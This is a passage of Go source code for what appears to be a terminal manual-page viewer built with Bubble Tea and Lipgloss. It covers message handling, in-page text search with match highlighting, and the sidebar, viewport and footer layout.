m.renderContents() 352 | case key.Matches(msg, m.keys.Quit): 353 | return m, tea.Quit 354 | default: 355 | if m.focus == nav { 356 | m.navigation, cmd = m.navigation.Update(msg) 357 | cmds = append(cmds, cmd) 358 | } else if m.focus == contents { 359 | m.viewport, cmd = m.viewport.Update(msg) 360 | cmds = append(cmds, cmd) 361 | } 362 | } 363 | } 364 | 365 | case tea.WindowSizeMsg: 366 | m.windowWidth = msg.Width 367 | m.windowHeight = msg.Height 368 | 369 | titleHeight := lipgloss.Height(m.titleView(nav)) 370 | footerHeight := lipgloss.Height(m.footerView()) 371 | verticalMargins := titleHeight + footerHeight // +1 for panel margins 372 | 373 | navWidth := lipgloss.Width(m.sidebarView()) 374 | 375 | m.renderContents() 376 | 377 | m.viewport.Width = m.windowWidth - navWidth 378 | m.viewport.Height = m.windowHeight - verticalMargins 379 | 380 | m.navigation.SetHeight(m.windowHeight - verticalMargins) 381 | 382 | default: 383 | if m.focus == nav { 384 | m.navigation, cmd = m.navigation.Update(msg) 385 | cmds = append(cmds, cmd) 386 | } else if m.focus == contents { 387 | m.viewport, cmd = m.viewport.Update(msg) 388 | cmds = append(cmds, cmd) 389 | } else if m.focus == search { 390 | m.searchbox, cmd = m.searchbox.Update(msg) 391 | cmds = append(cmds, cmd) 392 | } 393 | } 394 | 395 | return m, tea.Batch(cmds...) 396 | } 397 | 398 | func (m *model) searchForString(query string) []searchResult { 399 | var results []searchResult 400 | for row := 0; row < len(m.lines); row++ { 401 | col := 0 402 | for { 403 | found := strings.Index(m.lines[row][col:], query) 404 | if found == -1 { 405 | break 406 | } 407 | 408 | results = append(results, searchResult{ 409 | row: row, 410 | col: col + found, 411 | len: len(query), 412 | }) 413 | col += found + len(query) + 1 414 | if col > len(m.lines[row]) { 415 | break 416 | } 417 | } 418 | } 419 | return results 420 | } 421 | 422 | func (m *model) updateSearchResults(query string) { 423 | if query == "" { 424 | return 425 | } 426 | m.search.results = m.searchForString(query) 427 | m.renderContents() 428 | } 429 | 430 | func (m *model) renderContents() { 431 | navWidth := lipgloss.Width(m.sidebarView()) 432 | contentWidth := m.windowWidth - navWidth 433 | 434 | contents := wordwrap.String(m.page.Render(contentWidth), contentWidth) 435 | m.lines = strings.Split(contents, "\n") 436 | lines := make([]string, len(m.lines)) 437 | copy(lines, m.lines) 438 | 439 | yOffset := m.viewport.YOffset 440 | 441 | if len(m.search.results) > 0 { 442 | result := m.search.results[m.search.current] 443 | m.debug = fmt.Sprintf("row[%d] col[%d]", result.row, result.col) 444 | line := lines[result.row] 445 | 446 | left := line[:result.col] 447 | instance := line[result.col : result.col+result.len] 448 | right := line[result.col+result.len:] 449 | 450 | highlight := lipgloss.NewStyle().Bold(true).Reverse(true).Render 451 | line = left + highlight(instance) + right 452 | lines[result.row] = line 453 | 454 | contents = strings.Join(lines, "\n") 455 | 456 | yOffset = result.row 457 | } 458 | 459 | m.viewport.SetContent(contents) 460 | m.viewport.SetYOffset(yOffset) 461 | } 462 | 463 | func (m model) View() string { 464 | return m.mainView() + "\n" + m.footerView() 465 | } 466 | 467 | func (m model) titleView(panel panel) string { 468 | style := unfocusedNavTitleStyle 469 | if m.focus == panel { 470 | style = focusNavTitleStyle 471 | } 472 | 473 | if panel == nav { 474 | return style.Render("Table of Contents") 475 | } else { 476 | return style.Render(fmt.Sprintf("%s(%d)", m.page.Name, m.page.Section)) 477 | } 478 | } 479 | 480 | func (m model) sidebarView() string { 481 | style := lipgloss.NewStyle().Margin(0, 2, 0, 1) 482 | return style.Render(m.titleView(nav) + "\n" + m.navigation.View()) 483 | } 484 | 485 | func (m model) contentsView() string { 486 | return m.titleView(contents) + "\n" + m.viewport.View() 487 | } 488 | 489 | /* 490 | mainView 491 | 492 | - sidebarView 493 | - title 494 | - navigation 495 | 496 | - contentsView 497 | - title 498 | - viewport 499 | 500 | - footerView 501 | - help 502 | */ 503 | func (m model) mainView() string { 504 | return lipgloss.JoinHorizontal(lipgloss.Top, m.sidebarView(), m.contentsView()) 505 | } 506 | 507 | func (m model) scrollPercentageView() string { 508 | return scrollPctStyle.Render(fmt.Sprintf("%3.f%%", m.viewport.ScrollPercent()*100)) 509 | } 510 | 511 | func (m model) footerView() string { 512 | margin := lipgloss.NewStyle().Margin(0, 1).Render // whole footer margin 513 | 514 | scrollPct := m.scrollPercentageView() 515 | leftWidth := m.windowWidth - lipgloss.Width(scrollPct) - 2 516 | helpStyle := lipgloss.NewStyle().Width(leftWidth).Render 517 | m.help.Width = leftWidth 518 | 519 | var left string 520 | 521 | if m.focus == search { 522 | searchState := "" 523 | if m.searchbox.Value() != "" { 524 | searchState = fmt.Sprintf("Found %d results for `%s'", len(m.search.results), m.searchbox.Value()) 525 | } 526 | left = lipgloss.JoinVertical(lipgloss.Left, 527 | m.searchbox.View()+" "+searchState, 528 | helpStyle(m.help.View(m.searchKeys))) 529 | } else if len(m.search.results) > 0 { 530 | left = lipgloss.JoinVertical(lipgloss.Left, 531 | fmt.Sprintf("Found %d results for `%s'", len(m.search.results), m.searchbox.Value()), 532 | helpStyle(m.help.View(m.keys))) 533 | } else { 534 | left = helpStyle(m.help.View(m.keys)) 535 | } 536 | 537 | return margin(lipgloss.JoinHorizontal(lipgloss.Bottom, left, scrollPct)) //+ "\n" + m.debug 538 | } 539 | --------------------------------------------------------------------------------